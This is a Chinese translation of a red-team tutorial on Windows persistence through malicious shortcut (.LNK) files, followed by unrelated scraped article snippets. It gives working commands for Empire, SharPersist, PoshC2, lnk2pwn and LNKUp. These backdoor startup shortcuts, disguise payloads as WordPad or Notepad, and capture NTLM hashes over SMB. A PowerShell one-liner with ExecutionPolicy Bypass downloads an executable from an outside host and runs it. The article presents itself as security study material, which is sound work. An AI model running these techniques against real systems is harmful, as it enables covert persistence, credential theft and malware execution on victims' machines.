Windows快捷方式包含对系统上安装的软件或文件位置(网络或本地)的引用。自从恶意软件出现之初,便已将快捷方式用作执行恶意代码以实现持久性的一种方法。快捷方式的文件扩展名是.LNK,它为红队提供了很多机会来执行各种格式的代码(exe,vbs,Powershell,scriptlet等)或窃取NTLM哈希值。更隐蔽的方法是修改现有合法快捷方式的属性,但是生成具有不同特征的快捷方式可以为代码执行提供灵活性。

Empire

Empire包含一个持久性模块,该模块可以后门合法的快捷方式(.LNK),以执行任意的PowerShell有效负载。现有快捷方式的目标字段将被修改以执行存储在注册表项中的base64脚本。

usemodule persistence/userland/backdoor_lnk

Empire–后门现有快捷方式

查看快捷方式的属性将显示目标字段已成功修改以执行PowerShell有效负载。

Empire-修改后的快捷方式

由于快捷方式存在于启动文件夹中,因此暂存器将在下一次Windows登录中执行,并且将与命令和控制服务器建立连接。

Empire-通过快捷方式成功上线

但是,Empire包含一个可用于生成具有LNK文件格式的暂存器的模块。

usestager windows/launcher_lnk
set Listener http
execute

Empire-创建快捷方式

默认情况下,此模块将使用写字板图标伪装成可信任的应用程序。


Empire-写字板快捷方式

快捷方式的目标字段将使用执行Base64有效负载的PowerShell命令填充。可以将快捷方式转移并移动到启动文件夹中以保持持久性。

Empire-快捷属性

SharPersist

SharPersist能够创建Internet Explorer快捷方式,该快捷方式将执行任意有效负载并将其放置在启动文件夹中以实现持久性。

SharPersist.exe -t startupfolder -c "cmd.exe" -a "/c C:\temp\pentestlab.exe" -f "pentestlab" -m add

SharPersist –快捷方式

当用户进行身份验证时,将执行有效负载,并打开Meterpreter会话.

SharPersist – Meterpreter

PoshC2

PoshC2可以创建一个LNK文件并将其直接放置在Windows启动文件夹中以保持持久性。可以通过执行以下命令来调用此技术:

install-persistence 3

PoshC2 –启动LNK文件

在Windows登录期间,快捷方式将尝试在注册表项上执行值,该注册表项包含base64格式的stager。


​ PoshC2 –快捷方式

杂项

在常见的红色团队工具包之外,还有多个脚本可用于开发恶意快捷方式。将这些快捷方式放置在启动文件夹中以保持持久性将是一个微不足道的过程,因为假定已经存在与命令和控制服务器的通信。
lnk2pwn是用Java编写的工具,可用于制作恶意快捷方式。可以通过命令控制台在生成快捷方式期间嵌入任意命令。

java -jar lnk2pwn.jar


lnk2pwn – GUI

默认情况下,lnk2pwn将生成伪造的记事本快捷方式,但是可以轻松更改图标。


lnk2pwn –假记事本快捷方式

使用LNKUp python脚本可以实现类似的结果,该脚本可以生成可以执行任意命令或窃取目标用户的NTLM哈希的快捷方式。

python generate.py --host 10.0.2.21 --type ntlm --output out.lnk


LNKUp – NTLM哈希快捷方式

由于生成的LNK文件将包含UNC路径,因此需要使用响应器,或者具有捕获NTLM哈希值的Metasploit模块。

use auxiliary/server/capture/smb

LNKUp – NTLM捕获

密码哈希可以用于脱机破解或NTLM中继攻击,以便访问其他系统或用户的电子邮件。LNKUp还具有生成将执行任意命令的快捷方式的功能。

python generate.py --host 10.0.2.21 --type ntlm --output pentestlab.lnk --execute "cmd.exe /c C:\temp\pentestlab.exe"

LNKUp –执行命令

xillwillx开发了一个名为ricky.lnk的PowerShell脚本,该脚本可以创建一个以.unik字符欺骗的.LNK文件,该字符反转.lnk扩展名并在文件末尾附加.txt。生成的扩展名将包含一个PowerShell命令,该命令将从远程服务器下载文件并直接在系统上执行。

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -ExecutionPolicy Bypass -noLogo -Command (new-object System.Net.WebClient).DownloadFile('http://10.0.2.21/pentestlab.exe','pentestlab.exe');./pentestlab.exe;

Tricky2 – PowerShell

或者,该项目包含一个VBS脚本,该脚本可以执行与PowerShell版本相同的操作。

Tricky – VBS脚本

译文声明:本文由Bypass整理并翻译,仅用于安全研究和学习之用。

原文地址:https://pentestlab.blog/2019/10/08/persistence-shortcut-modification/

Window权限维持(四):快捷方式修改的更多相关文章

  1. Win7,Vista UAC下应用程序标注为“需要管理员权限”的四种方法(可以修改注册表)

    [转]Vista UAC下应用程序标注为“需要管理员权限”的四种方法 在Microsoft 的UACBlog里对此有过叙述.总结如下: 首先,如果一个程序被识别为管理员程序时,Vista会在它的图标上 ...

  2. window权限 及c++实现 【网摘】(转)

    from : http://blog.csdn.net/zipper9527/article/details/6256459 http://www.lihuasoft.net/article/show ...

  3. Mac OS系统四种修改Hosts文件的方法列举

    转自:https://blog.csdn.net/u012460084/article/details/40186973 使用Mac OS X系统的用户,在某些时候可能遇到了需要修改系统Hosts文件 ...

  4. [转帖]四个修改Docker默认存储位置的方法

    四个修改Docker默认存储位置的方法 https://blog.51cto.com/forangela/1949947 易改乾坤关注0人评论27435人阅读2017-07-22 09:18:48   ...

  5. highestAvailable比较灵活,毕竟大多数功能不需要系统最高权限(四种方法:屏蔽UAC,右键以管理员身份运行,增加manisfest,制作数字证书)

    打开VS2005.VS2008.VS2010工程,查看工程文件夹中的Properties文件夹下是否有app.manifest这个文件:如没有,按如下方式创建:鼠标右击工程在菜单中选择“属性”,点击工 ...

  6. Vista UAC下应用程序标注为“需要管理员权限”的四种方法

    在Microsoft 的UACBlog里对此有过叙述.总结如下: 首先,如果一个程序被识别为管理员程序时,Vista会在它的图标上加上一个盾牌标记.因此很容易看出来. 其次,如果UAC有效的话,管理员 ...

  7. 在无修改权限的情况下修改文件hosts中的内容

    今天遇到了一个问题,本来希望修改hosts中的内容,但保存时被告知无权限,网上搜索有很多方法都无效,最后搜到一个简单的方法:将hosts文件复制到桌面上,修改,然后覆盖原来位置的hosts文件即可!

  8. Android 文件访问权限的四种模式

    Linux文件的访问权限* 在Android中,每一个应用是一个独立的用户* drwxrwxrwx* 第1位:d表示文件夹,-表示文件* 第2-4位:rwx,表示这个文件的拥有者(创建这个文件的应用) ...

  9. mysql:赋予用户权限、查看及修改端口号

    一.mysql 赋给用户权限 grant all privileges on *.* to joe@localhost identified by '1'; flush privileges; 即用u ...

随机推荐

  1. 深入理解JVM,类加载器

    虚拟机设计团队把类加载阶段中的“通过一个类的全限定名来获取描述此类的二进制字节流(即字节码)”这个动作放到Java虚拟机外部去实现,以便让应用程序自己决定如何去获取所需要的类.实现这个动作的代码模块称 ...

  2. python库的tkinter带你进入GUI世界(计算器简单功能)

    前言 文的文字及图片来源于网络,仅供学习.交流使用,不具有任何商业用途,版权归原作者所有,如有问题请及时联系我们以作处理. 作者: 一个处女座的程序猿 PS:如有需要Python学习资料的小伙伴可以加 ...

  3. TCP三次握手四次分手—简单详解

    关于TCP三次握手四次分手,之前看资料解释的都很笼统,很多地方都不是很明白,所以很难记,前几天看的一个博客豁然开朗,可惜现在找不到了.现在把之前的疑惑总结起来,方便一下大家. 疑问一,上图传递过程中出 ...

  4. bug调试宝典

    bug调试技巧 宝典之一 : 坚信一个原则,程序不会说谎,一定是有原因的 多数的错误表现看起来莫明奇妙,甚至不可思议 但当我们找到问题后会发现:其实问题的根源是如此简单.如此的合乎道理. 这就要求我们 ...

  5. 如何在HTML中设置文本的大小写

    text-transform属性介绍 text-transform属性就是设置HTML页面中的标签里面的文本大小写,text-transform属性常用的属性值有三种:capitalize.upper ...

  6. python3 FastDFS 配置文件 客户端连接 删除文件 bug

    文件传输使用FastDFS 很方便, 不管是大小文件, 用默认的配置就可以, 这里插入一个配置文件 :  (后补python连接FastDFS上传下载文件) # connect timeout in ...

  7. 用BAPI_ACC_DOCUMENT_POST过账生成凭证

    根据前台需要输入参数,在bapi里面传值,不同业务所需参数不同. dome1: "bapi结构赋值     LOOP AT lt_item INTO lw_item.       wa_do ...

  8. 【Web】解决简书图片不显示问题“系统维护中,图片暂时无法加载”

    简书不显示图片的解决方法 首次编辑于2019-6-6 最近几天在浏览简书上的文章时,发现图片显示不出来,提示"系统维护中,图片暂时无法加载". 猜测应该是简书由于某种原因暂时屏蔽了 ...

  9. Android框架之EventBus的使用

    简介 EventBus是由greenrobot组织贡献的一个Android事件发布/订阅的轻量级框架.EventBus是一个Android端优化的publish/subscribe消息总线,简化了应用 ...

  10. 一语点醒技术人:你不是 Google(转载)

    转载链接:https://www.infoq.cn/article/2017/06/U-no-Google 在为问题寻找解决方案时要先充分了解问题本身,而不是一味地盲目崇拜那些巨头公司.Ozan On ...